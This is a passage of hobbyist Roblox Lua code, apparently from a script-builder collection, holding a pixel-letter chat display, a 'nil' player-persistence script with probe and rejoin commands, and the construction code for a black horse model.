"00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
DeModel.StudsOffset = Vector3.new(0,2.5,0)
DeModel.Name = ":D"
local Colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink","Really black"}
FR = Instance.new("Frame",DeModel)
FR.Size=UDim2.new(1,0,1,0)
FR.BackgroundColor3=BrickColor.new("Institutional white").Color
FR.BackgroundTransparency = 1
FR.BorderSizePixel=0
FR.ZIndex=2
CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
game:service'RunService'.RenderStepped:connect(function()
        pcall(function()
                local a = workspace:findFirstChild(LocalPlayer.Name)
                if a.ClassName == 'Part' then
                        CurrParent = a
                else
                        CurrParent = a:findFirstChild'Head'
                end
        end)
        if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
                pcall(function()
                        if CurrParent.ClassName == 'Part' then
                                DeModel = Instance.new("BillboardGui", CurrParent)
                                DeModel.Adornee = CurrParent
                                DeModel.StudsOffset = Vector3.new(0,2.5,0)
                                DeModel.Name = ":D"
                                FR = Instance.new("Frame",DeModel)
                                FR.Size=UDim2.new(1,0,1,0)
                                FR.BackgroundColor3=BrickColor.new("Institutional white").Color
                                FR.BackgroundTransparency = 1
                                FR.BorderSizePixel=0
                                FR.ZIndex=2
                        end
                end)
        end
end)
function CreateLetter(what, pos, posy, cl)
        pcall(function()
                if cl == nil then cl = (Colors[math.random(1, #Colors)]) end
                if Letters[what:byte()-31] then
                        what = Letters[what:byte()-31]
                else
                        what = Letters[1]
                end
                if type(what) ~= "string" then return end
                what = what:gsub('\n','')
                what = what:gsub('\t','')
                what = what:gsub(' ','')
                pos = pos * 2
                posy = posy * 2
                c =  0
                for y=1,7 do
                        for x=1,5 do
                                c = c + 1
                                if what:sub(c, c) == "1" then
                                        local a = Instance.new("Frame", FR)
                                        a.Name = "L"
                                        a.ZIndex=3
                                        a.Size = UDim2.new(0,2,0,2)
                                        a.BorderSizePixel = 0
                                        a.BackgroundTransparency = 1
                                        a.BackgroundColor3 = BrickColor.new(cl).Color
                                        a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
                                        coroutine.wrap(function()
                                                wait(math.random(1, 10)/50)
                                                a.BackgroundTransparency = 0
                                        end)()
                                end
                        end
                end
        end)
end
LocalPlayer.Chatted:connect(function(m)
        pcall(function()
                local cl = (Colors[math.random(1, #Colors)])
                for _,v in pairs(DeModel.Frame:children()) do
                        v:Destroy()
                end
                if m:sub(1,2) == '/e' then return end
                if m:sub(1,3) == "/! " then
                        m = m:sub(4)
                        DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
                else
                        DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
                        DeModel.Frame.BackgroundTransparency = 1
                end
                m1 = m:gsub("\n"," ")
                m1 = m1:gsub("\t"," ")
                m1 = m1:gsub("math.pi",tostring(math.pi))
                if #m1 <= 30 then
                        DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
                elseif #m1 <= 60 then
                        DeModel.Size = UDim2.new(0,330,0,40)
                elseif #m1 <= 90 then
                        DeModel.Size = UDim2.new(0,330,0,60)
                elseif #m1 > 90 then
                        DeModel.Size = UDim2.new(0,340,0,60)
                        m1 = m1:sub(1,90).."..."
                end
                if #m1 < 30 then
                        for i = 1,#m1 do
                                CreateLetter(m1:sub(i,i),i*5,0,cl)
                                wait(1/60)
                        end
                elseif #m1 <= 60 then
                        for i = 1,30 do
                                CreateLetter(m1:sub(i,i),i*5,0,cl)
                                wait(1/60)
                        end
                        for i = 31,#m1 do
                                CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
                                wait(1/60)
                        end
                elseif #m1 >= 60 then
                        for i = 1,30 do
                                CreateLetter(m1:sub(i,i),i*5,0,cl)
                                wait(1/60)
                        end
                        for i = 31,60 do
                                CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
                                wait(1/60)
                        end
                        for i = 61,#m1 do
                                CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
                                wait(1/60)
                        end
                end
        end)
end)
]]

NilSupport = [[
wait(0.001)
script:ClearAllChildren()
script.Parent=nil
wait(1)
LocalPlayer = game:service'Players'.LocalPlayer
ProbeMode = false
char = nil
probe = nil
game:service'Debris':AddItem(x,3)
if LocalPlayer.Character then
        LocalPlayer.Character.Archivable = true
        char = LocalPlayer.Character:Clone()
        char.Torso.Anchored = true
else
        local con = LocalPlayer.CharacterAdded:connect(function()
                wait(0.5)
                LocalPlayer.Character.Archivable = true
                char = LocalPlayer.Character:Clone()
                char.Torso.Anchored = true
        end)
end
xcon = LocalPlayer.Changed:connect(function(asd)
        if asd == 'Parent' then
                local a = Instance.new("Hint",workspace)
                a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]'
                game:service'Debris':AddItem(a,3)
        end
end)
asdcon = LocalPlayer.Chatted:connect(function(msg)
        pcall(function()
                if LocalPlayer.Parent ~= game:service'Players' then
                        if msg == 'char/' then
                                ProbeMode = false
                        elseif msg == 'probe/' then
                                ProbeMode = true
                        elseif msg == 'fcam/' then
                                if LocalPlayer.Parent ~= game:service'Players' then
                                        if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
                                                if ProbeMode == false then
                                                        game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid
                                                end
                                        end
                                end
                        elseif msg == 'rej/' then
                                coroutine.wrap(function()
                                        if ProbeMode == true then
                                                probe:remove()
                                        else
                                                LocalPlayer.Character:remove()
                                                char = nil
                                        end
                                        zcon:disconnect()
                                        asdcon:disconnect()
                                        xcon:disconnect()
                                end)()
                                game:service'TeleportService':Teleport(game.PlaceId)
                        else
                                if ProbeMode == true then
                                        game:service'Chat':Chat(probe,msg)
                                else
                                        game:service'Chat':Chat(LocalPlayer.Character.Head,msg)
                                end
                        end
                end
        end)
end)
zcon = game:service'RunService'.RenderStepped:connect(function()
        if LocalPlayer.Parent ~= game:service'Players' then
                if ProbeMode == false then
                        if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
                                local chr = char:Clone()
                                chr.Parent = workspace
                                LocalPlayer.Character = chr
                                wait(0.1)
                                game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
                        end
                else
                        if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LuaScripterLSMesh' == nil then
                                if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
                                local a = Instance.new("Part",workspace)
                                a.Name = LocalPlayer.Name
                                a.FormFactor = 'Custom'
                                a.CanCollide = false
                                a.Locked = true
                                a.Anchored = true
                                a.TopSurface = 0
                                a.BottomSurface = 0
                                a.Size = Vector3.new(2,2,2)
                                a.BrickColor = BrickColor.new("Really black")
                                local b = Instance.new('SpecialMesh',a)
                                b.Name = 'LuaScripterLSMesh'
                                b.MeshType = 'Sphere'
                                probe = a
                        else
                                local asd = probe:findFirstChild'LuaScripterLS1164Mesh'
                                asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
                                probe.CFrame = workspace.CurrentCamera.Focus
                        end
                end
        end
end)
LocalPlayer:GetMouse().KeyDown:connect(function(k)
        key = k
end)
LocalPlayer:GetMouse().KeyUp:connect(function()
        key = nil
end)
game:service'RunService'.RenderStepped:connect(function()
        if LocalPlayer.Parent ~= game:service'Players' then
                if ProbeMode == false then
                        if LocalPlayer.Character ~= nil then
                                if key == 'w' then
                                        LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
                                elseif key == 's' then
                                        LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
                                elseif key == 'd' then
                                        LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
                                elseif key == 'a' then
                                        LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
                                end
                        end
                end
        end
end)
]]

DarkHorse = [==[
local player=game.Players.LocalPlayer
 Breeds = {
    { -- Black
        fur=BrickColor.new("Really black"),
        mane=BrickColor.new("Really black"),
        saddle=BrickColor.new("Really black"),
        reins=BrickColor.new("Black"),
        hoof=BrickColor.new("Really black")
    }
}

local Breed = Breeds[math.random(1,#Breeds)]

local ModelName =  "Horse"
local ModelParent = workspace
--pcall(function() ModelParent[ModelName]:Destroy() end)

local ReinsHold = nil
local Height = 6.2
local rHeight = Height

local HasHat = false
local HatMeshId = "rbxassetid://42157240"
local HatTexId = ""
local HorseColor = Breed.fur
local EyeColor = BrickColor.new("Really red")
local ManeColor = Breed.mane
local SaddleColor = Breed.saddle
local ReinsColor = Breed.reins
local HoofColor = Breed.hoof
local oc = oc or function(...) return ... end
local ModelScale = .6

local Speed = 0
local WalkSpeed = 15
local WalkSin = 6
local TrotSpeed = 30
local TrotSin = 4
local GallopSin = 60
local MaxSpeed = 70
local SpeedLimit = 70


local startpos = workspace.LocalPlayer.Head.CFrame * CFrame.new(0,Height+1.5,10)--script.Parent:IsA("BasePart") and script.Parent.CFrame * CFrame.new(0,Height,0) or CFrame.new(0,Height+1,20)

math.randomseed(tick()+215819240)
math.random() math.random() math.random()
aran = function() return math.random() end
ran = function() return (math.random()-.5)*2 end

function Weld(a,b,c,d)
        local w = Instance.new("Weld",a)
        w.Part0 = a
        w.Part1 = b
        w.C0 = c or CFrame.new()
        w.C1 = d or CFrame.new()
        return w
end


do  -- Ignore my clerp stuff stolen from stravvy
        local function QuaternionFromCFrame(cf)
                local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
                local trace = m00 + m11 + m22
                if trace > 0 then
                        local s = math.sqrt(1 + trace)
                        local recip = 0.5/s
                        return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
                else
                        local i = 0
                        if m11 > m00 then
                                i = 1
                        end
                        if m22 > (i == 0 and m00 or m11) then
                                i = 2
                        end
                        if i == 0 then
                                local s = math.sqrt(m00-m11-m22+1)
                                local recip = 0.5/s
                                return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
                        elseif i == 1 then
                                local s = math.sqrt(m11-m22-m00+1)
                                local recip = 0.5/s
                                return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
                        elseif i == 2 then
                                local s = math.sqrt(m22-m00-m11+1)
                                local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
                        end
                end
        end
        local function QuaternionToCFrame(px, py, pz, x, y, z, w)
                local xs, ys, zs = x + x, y + y, z + z
                local wx, wy, wz = w*xs, w*ys, w*zs
                local xx = x*xs
                local xy = x*ys
                local xz = x*zs
                local yy = y*ys
                local yz = y*zs
                local zz = z*zs
                return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
                end
        local function QuaternionSlerp(a, b, t)
                local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
                local startInterp, finishInterp;
                if cosTheta >= 0.0001 then
                        if (1 - cosTheta) > 0.0001 then
                                local theta = math.acos(cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((1-t)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = 1-t
                                finishInterp = t
                        end
                else
                        if (1+cosTheta) > 0.0001 then
                                local theta = math.acos(-cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((t-1)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = t-1
                                finishInterp = t
                        end
                end
                return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
        end
        function clerp(a,b,t)
                local qa = {QuaternionFromCFrame(a)}
                local qb = {QuaternionFromCFrame(b)}
                local ax, ay, az = a.x, a.y, a.z
                local bx, by, bz = b.x, b.y, b.z
                local _t = 1-t
                return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
        end
end

function lerp(a,b,c)
    return a+(b-a)*c
end

function ctlerp(c1,c2,al) -- Older, "worse" clerp if the other one fails..
        local com1 = {c1:components()}
        local com2 = {c2:components()}
        for i,v in pairs(com1) do
                com1[i] = lerp(v,com2[i],al)
        end
        return CFrame.new(unpack(com1))
end


local Model = Instance.new("Model",ModelParent)
Model.Name = ModelName

local BasePart = Instance.new("Part")
BasePart.FormFactor = "Custom"
BasePart.Size = Vector3.new()
BasePart.TopSurface,BasePart.BottomSurface,BasePart.LeftSurface,BasePart.RightSurface,BasePart.FrontSurface,BasePart.BackSurface = 10,10,10,10,10,10
BasePart:BreakJoints()
BasePart.CFrame = startpos

function NP()
    local p = BasePart:Clone()
    p.Parent = Model
    return p
end

function Sphere(parent,scale)
    local sm = Instance.new("SpecialMesh",parent)
    sm.MeshType = "Sphere"
    sm.Scale = scale or Vector3.new(1,1,1)
    return sm
end

BasePart.BrickColor = HorseColor

local Main = NP()
Main.Size = Vector3.new(3.5,4.5,8)
Main.CFrame = startpos

MainMesh = Sphere(Main)

local Neck = NP()
Neck.Size = Vector3.new(2,5,2.5)
local NeckWeld = Weld(Main,Neck,CFrame.new(0,0.5,-3.2)*CFrame.Angles(math.rad(-20),0,0),CFrame.new(0,-1.5,0))
local NeckWeld0 = NeckWeld.C0
Sphere(Neck,Vector3.new(1,1,1))

local NeckBonus = NP()
NeckBonus.Size = Vector3.new(1.9,3,2)
Weld(Neck,NeckBonus,CFrame.new(0,-1.1,.5)*CFrame.Angles(-.5,0,0))
Sphere(NeckBonus)

local Head = NP()
Head.Size = Vector3.new(2,3,3)
local HeadWeld = Weld(Neck,Head,CFrame.new(0,2.5,-.4),CFrame.new(0,0,1))
local HeadWeld0 = HeadWeld.C0
local HeadMesh = Instance.new("SpecialMesh",Head)
HeadMesh.Scale = Vector3.new(0.7,1,1)*1.6
HeadMesh.MeshId = "http://www.roblox.com/asset/?id=114690930"

if HasHat then
        local Hat = NP()
        Hat.Size = Vector3.new()
        Hat.BrickColor = SaddleColor
        local HatWeld = Weld(Head,Hat,CFrame.new(0,1.11,1.3),CFrame.Angles(math.rad(-20),0,0))
        local HatMesh = Instance.new("SpecialMesh",Hat)
        HatMesh.Scale = Vector3.new(1.5,1.5,1.5)
        HatMesh.MeshId = HatMeshId or "rbxassetid://42157240"
        HatMesh.TextureId = HatTexId or ""
end

local EyeR = NP()
EyeR.BrickColor = EyeColor
EyeR.Reflectance = .1
EyeR.Size = Vector3.new(.2,.2,.2)
Weld(Head,EyeR,CFrame.new(.631,.23,.11)*CFrame.Angles(-0.2,0.1,0))
Sphere(EyeR,Vector3.new(.9,2.1,2.1))

local EyeL = NP()
EyeL.BrickColor = EyeColor
EyeL.Reflectance = .1
EyeL.Size = Vector3.new(.2,.2,.2)
Weld(Head,EyeL,CFrame.new(-.631,.23,.11)*CFrame.Angles(-0.2,-0.1,0))
Sphere(EyeL,Vector3.new(.9,2.1,2.1))

BasePart.Name = "Reins"

local RPart = NP() -- rs1
RPart.BrickColor = ReinsColor
RPart.Size = Vector3.new(.2,.7,.25)
Weld(Head,RPart,CFrame.new(.4,-.5,-1.05)*CFrame.Angles(-.25,0,0))

local Cyl = NP()
Cyl.BrickColor = ReinsColor
Cyl.Size = Vector3.new(.2495,.2,.2)
Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))

local RPart = NP() -- rs2
RPart.BrickColor = ReinsColor
RPart.Size = Vector3.new(.2,.4,.25)
Weld(Head,RPart,CFrame.new(.4,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.35,0)*CFrame.Angles(0,0,-.5)*CFrame.new(0,-.2,0))
RPP = Instance.new("Smoke")
RPP.Parent = RPart
RPP.Opacity = 0.045
RPP.RiseVelocity = 0
RPP.Size = 0.1

local Cyl = NP()
Cyl.BrickColor = ReinsColor
Cyl.Size = Vector3.new(.2495,.2,.2)
Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
local ReinAnchorR = Cyl

local RPart = NP() -- ls1
RPart.BrickColor = ReinsColor
RPart.Size = Vector3.new(.2,.7,.25)
Weld(Head,RPart,CFrame.new(-.4,-.5,-1.05)*CFrame.Angles(-.25,0,0))

local Cyl = NP()
Cyl.BrickColor = ReinsColor
Cyl.Size = Vector3.new(.2495,.2,.2)
Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))

local RPart = NP() -- ls2
RPart.BrickColor = ReinsColor
RPart.Size = Vector3.new(.2,.4,.25)
Weld(Head,RPart,CFrame.new(-.4,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.35,0)*CFrame.Angles(0,0,.5)*CFrame.new(0,-.2,0))

local Cyl = NP()
Cyl.BrickColor = ReinsColor
Cyl.Size = Vector3.new(.2495,.2,.2)
Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
local ReinAnchorL = Cyl

local RPart = NP() -- mb
RPart.BrickColor = ReinsColor
RPart.Size = Vector3.new(.5,.2,.249)
Weld(Head,RPart,CFrame.new(0,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.65,0))

local Cyl = NP()
Cyl.BrickColor = ReinsColor
Cyl.Size = Vector3.new(.2495,.2,.2)
Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
Weld(RPart,Cyl,CFrame.new(RPart.Size.X/2,0,0)*CFrame.Angles(0,math.pi/2,0))

local Cyl = NP()
Cyl.BrickColor = ReinsColor
Cyl.Size = Vector3.new(.2495,.2,.2)
Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
Weld(RPart,Cyl,CFrame.new(-RPart.Size.X/2,0,0)*CFrame.Angles(0,math.pi/2,0))

local RPart = NP() -- mt
RPart.BrickColor = ReinsColor
RPart.Size = Vector3.new(.8,.2,.249)
Weld(Head,RPart,CFrame.new(0,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,.35,0))

local RPart = NP()
RPart.BrickColor = ReinsColor
local sm = Instance.new("SpecialMesh",RPart)
sm.MeshType = "Sphere"
local ReinSphereL = Weld(Main,RPart,CFrame.new(-1,3,0))

local RPart = NP()
RPart.BrickColor = ReinsColor
local sm = Instance.new("SpecialMesh",RPart)
sm.MeshType = "Cylinder"
local ReinLineL = Weld(Main,RPart,CFrame.new(-1,3,-1))

local RPart = NP()
RPart.BrickColor = ReinsColor
local sm = Instance.new("SpecialMesh",RPart)
sm.MeshType = "Cylinder"
local ReinSphereR = Weld(Main,RPart,CFrame.new(1,3,0))

local RPart = NP()
RPart.BrickColor = ReinsColor
local sm = Instance.new("SpecialMesh",RPart)
sm.MeshType = "Cylinder"
local ReinLineR = Weld(Main,RPart,CFrame.new(1,3,-1))

local RPart = NP()
RPart.BrickColor = ReinsColor
local sm = Instance.new("SpecialMesh",RPart)
sm.MeshType = "Cylinder"
local ReinLineM = Weld(Main,RPart,CFrame.new(0,3,0))

BasePart.Name = "Part"

local Tail = NP()
Tail.BrickColor = ManeColor
Tail.CanCollide = false
Tail.Transparency = 1
Tail.Size = Vector3.new(0.8,4.5,0.8)
local TailWeld = Weld(Main,Tail,CFrame.new(0,.88,3.4)*CFrame.Angles(0,math.rad(10),0),CFrame.new(0,-2.3,0)*CFrame.Angles(math.rad(-130),0,0))
local TailWeld0 = TailWeld.C0
local TailHairs = {}
for i=1,8 do
        local t = NP()
        t.CanCollide = false
        t.BrickColor = Tail.BrickColor
        t.Size = Vector3.new(.4+aran()*.2,5.5-i*.1,.4+aran()*.2)
        local tw = Weld(Tail,t,CFrame.new(0,-Tail.Size.Y/2,0)*CFrame.Angles(ran()*.15,ran()*.5,ran()*.15)*CFrame.new(ran()*.1,0,ran()*.1),CFrame.new(0,-t.Size.Y/2+.05,0))
        table.insert(TailHairs,{w=tw,c0=tw.C0})
end
local BackHairs = {}
for i=0,10 do
    if i<1 or i>7 then
        local x = (i/10)
        local m = NP()
        m.CanCollide = false
        m.BrickColor = ManeColor
        m.Size = Vector3.new(.6+aran()*.2+math.sin(x*2.7)*.5,.9+ran()*.1,.9+ran()*.1)
        if i<1 then    m.Size = m.Size*0.7    end
        local tw = Weld(Main,m,CFrame.new(0,.9+math.sin(x*2.8)*1.2,3.4-x*6),CFrame.Angles(ran()*.1,aran()*.1,ran()*.2))
        table.insert(BackHairs,{w=tw,c0=tw.C0})
    end
end


local NeckHairs = {}
for i=0,6 do
    local x = (i/6)
    local m = NP()
    m.CanCollide = false
    m.BrickColor = ManeColor
    m.Size = Vector3.new(.8+ran()*.2,.7+ran()*.1,.9+ran()*.1)
    local tw = Weld(Neck,m,CFrame.new(0,-1.3+x*3.5,1+math.sin(.55+x*3.7)*.5),CFrame.Angles(ran()*.08,aran()*.15,ran()*.08))
    table.insert(NeckHairs ,{w=tw,c0=tw.C0})
end


local HeadHairs = {}
for i=0,6 do
        local x = math.min(1,(i/3))
        local m = NP()
        m.CanCollide = false
        m.BrickColor = ManeColor
        if HasHat then        m.Transparency = 1        end
        m.Size = Vector3.new(.95+ran()*.2,1,.4)
        local tw = Weld(Head,m,CFrame.new(0,-.8+x*1.6,2.02-i*.23)*CFrame.Angles(-.2-i*.3,0,0),CFrame.Angles(ran()*.08,aran()*.03,ran()*.08))
        table.insert(HeadHairs ,{w=tw,c0=tw.C0})
end

local LHip = NP()
LHip.Size = Vector3.new(1.5,3.7,3.5)
Weld(Main,LHip,CFrame.new(-1,-.5,2.2)*CFrame.Angles(0,.35,0))
Sphere(LHip)

local LThigh = NP()
LThigh.CanCollide = false
LThigh.Size = Vector3.new(1.6,4,2.2)
local BL1 = Weld(LHip,LThigh,CFrame.new(-.05,.3,-.5)*CFrame.Angles(0,-.35,0)*CFrame.Angles(0,0,0),CFrame.new(0,1.7,0))
Sphere(LThigh)

local LBCannon = NP()
LBCannon.CanCollide = false
LBCannon.Size = Vector3.new(1,2.8,1)
local sm = Instance.new("SpecialMesh",LBCannon)
sm.MeshType = "Head"
local BL2 = Weld(LThigh,LBCannon,CFrame.new(0,-LThigh.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))

local LBKnee = NP()
LBKnee.CanCollide = false
LBKnee.Size = Vector3.new(1,1,1)
local sm = Instance.new("SpecialMesh",LBKnee)
sm.MeshType = "Sphere"
Weld(LBCannon,LBKnee,CFrame.new(0,LBCannon.Size.Y/2-.1,0))

local LBHoof = NP()
LBHoof.BrickColor = HoofColor
LBHoof.CanCollide = false
LBHoof.Size = Vector3.new(1,.7,1)
Instance.new("CylinderMesh",LBHoof)
local BL3 = Weld(LBCannon,LBHoof,CFrame.new(0,-LBCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))

local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.699,.5)
Weld(LBHoof,Hoof,CFrame.new(.4,0,.25))
local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.699,.5)
Weld(LBHoof,Hoof,CFrame.new(-.4,0,.25))

local RHip = NP()
RHip.Size = Vector3.new(1.5,3.7,3.5)
Weld(Main,RHip,CFrame.new(1,-.5,2.2)*CFrame.Angles(0,-.35,0))
Sphere(RHip)

local RThigh = NP()
RThigh.CanCollide = false
RThigh.Size = Vector3.new(1.6,4,2.2)
local BR1 = Weld(RHip,RThigh,CFrame.new(.05,.3,-.4)*CFrame.Angles(0,.35,0)*CFrame.Angles(0,0,0),CFrame.new(0,1.7,0))
Sphere(RThigh)

local RBCannon = NP()
RBCannon.CanCollide = false
RBCannon.Size = Vector3.new(1,2.8,1)
local sm = Instance.new("SpecialMesh",RBCannon)
sm.MeshType = "Head"
local BR2 = Weld(RThigh,RBCannon,CFrame.new(0,-RThigh.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))

local RBKnee = NP()
RBKnee.CanCollide = false
RBKnee.Size = Vector3.new(1,1,1)
local sm = Instance.new("SpecialMesh",RBKnee)
sm.MeshType = "Sphere"
Weld(RBCannon,RBKnee,CFrame.new(0,RBCannon.Size.Y/2-.1,0))

local RBHoof = NP()
RBHoof.BrickColor = HoofColor
RBHoof.CanCollide = false
RBHoof.Size = Vector3.new(1,.7,1)
Instance.new("CylinderMesh",RBHoof)
local BR3 = Weld(RBCannon,RBHoof,CFrame.new(0,-RBCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))

local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.699,.5)
Weld(RBHoof,Hoof,CFrame.new(.4,0,.25))
local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.699,.5)
Weld(RBHoof,Hoof,CFrame.new(-.4,0,.25))

local LShoulder = NP()
LShoulder.Size = Vector3.new(1.5,2.5,2)
Weld(Main,LShoulder,CFrame.new(-.9,-.5,-2.4)*CFrame.Angles(0,.15,0))
Sphere(LShoulder)

local LForearm = NP()
LForearm.CanCollide = false
LForearm.Size = Vector3.new(1.2,3.5,1.5)
local FL1 = Weld(LShoulder,LForearm,CFrame.new(-.1,.2,.1)*CFrame.Angles(0,0,0),CFrame.new(0,1.45,0))
Sphere(LForearm)

local LFCannon = NP()
LFCannon.CanCollide = false
LFCannon.Size = Vector3.new(.8,2.8,.8)
local sm = Instance.new("SpecialMesh",LFCannon)
sm.MeshType = "Head"
local FL2 = Weld(LForearm,LFCannon,CFrame.new(0,-LForearm.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))

local LFKnee= NP()
LFKnee.CanCollide = false
LFKnee.Size = Vector3.new(.8,.8,.8)
local sm = Instance.new("SpecialMesh",LFKnee)
sm.MeshType = "Sphere"
Weld(LFCannon,LFKnee,CFrame.new(0,LFCannon.Size.Y/2-.1,0))

local LFHoof = NP()
LFHoof.BrickColor = HoofColor
LFHoof.CanCollide = false
LFHoof.Size = Vector3.new(.8,.6,.8)
Instance.new("CylinderMesh",LFHoof)
local FL3 = Weld(LFCannon,LFHoof,CFrame.new(0,-LFCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))

local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.599,.4)
Weld(LFHoof,Hoof,CFrame.new(.3,0,.2))
local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.599,.4)
Weld(LFHoof,Hoof,CFrame.new(-.3,0,.2))

local RShoulder = NP()
RShoulder.Size = Vector3.new(1.5,2.5,2)
Weld(Main,RShoulder,CFrame.new(.9,-.5,-2.4)*CFrame.Angles(0,-.15,0))
Sphere(RShoulder)

local RForearm = NP()
RForearm.CanCollide = false
RForearm.Size = Vector3.new(1.2,3.5,1.5)
local FR1 = Weld(RShoulder,RForearm,CFrame.new(.1,.2,-.1)*CFrame.Angles(0,0,0),CFrame.new(0,1.45,0))
Sphere(RForearm)

local RFCannon = NP()
RFCannon.CanCollide = false
RFCannon.Size = Vector3.new(.8,2.8,.8)
local sm = Instance.new("SpecialMesh",RFCannon)
sm.MeshType = "Head"
local FR2 = Weld(RForearm,RFCannon,CFrame.new(0,-RForearm.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))

local RFKnee= NP()
RFKnee.CanCollide = false
RFKnee.Size = Vector3.new(.8,.8,.8)
local sm = Instance.new("SpecialMesh",RFKnee)
sm.MeshType = "Sphere"
Weld(RFCannon,RFKnee,CFrame.new(0,RFCannon.Size.Y/2-.1,0))

local RFHoof = NP()
RFHoof.BrickColor = HoofColor
RFHoof.CanCollide = false
RFHoof.Size = Vector3.new(.8,.6,.8)
Instance.new("CylinderMesh",RFHoof)
local FR3 = Weld(RFCannon,RFHoof,CFrame.new(0,-RFCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))

local Hoof = NP()
Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.599,.4)
Weld(RFHoof,Hoof,CFrame.new(.3,0,.2))
local Hoof = NP()
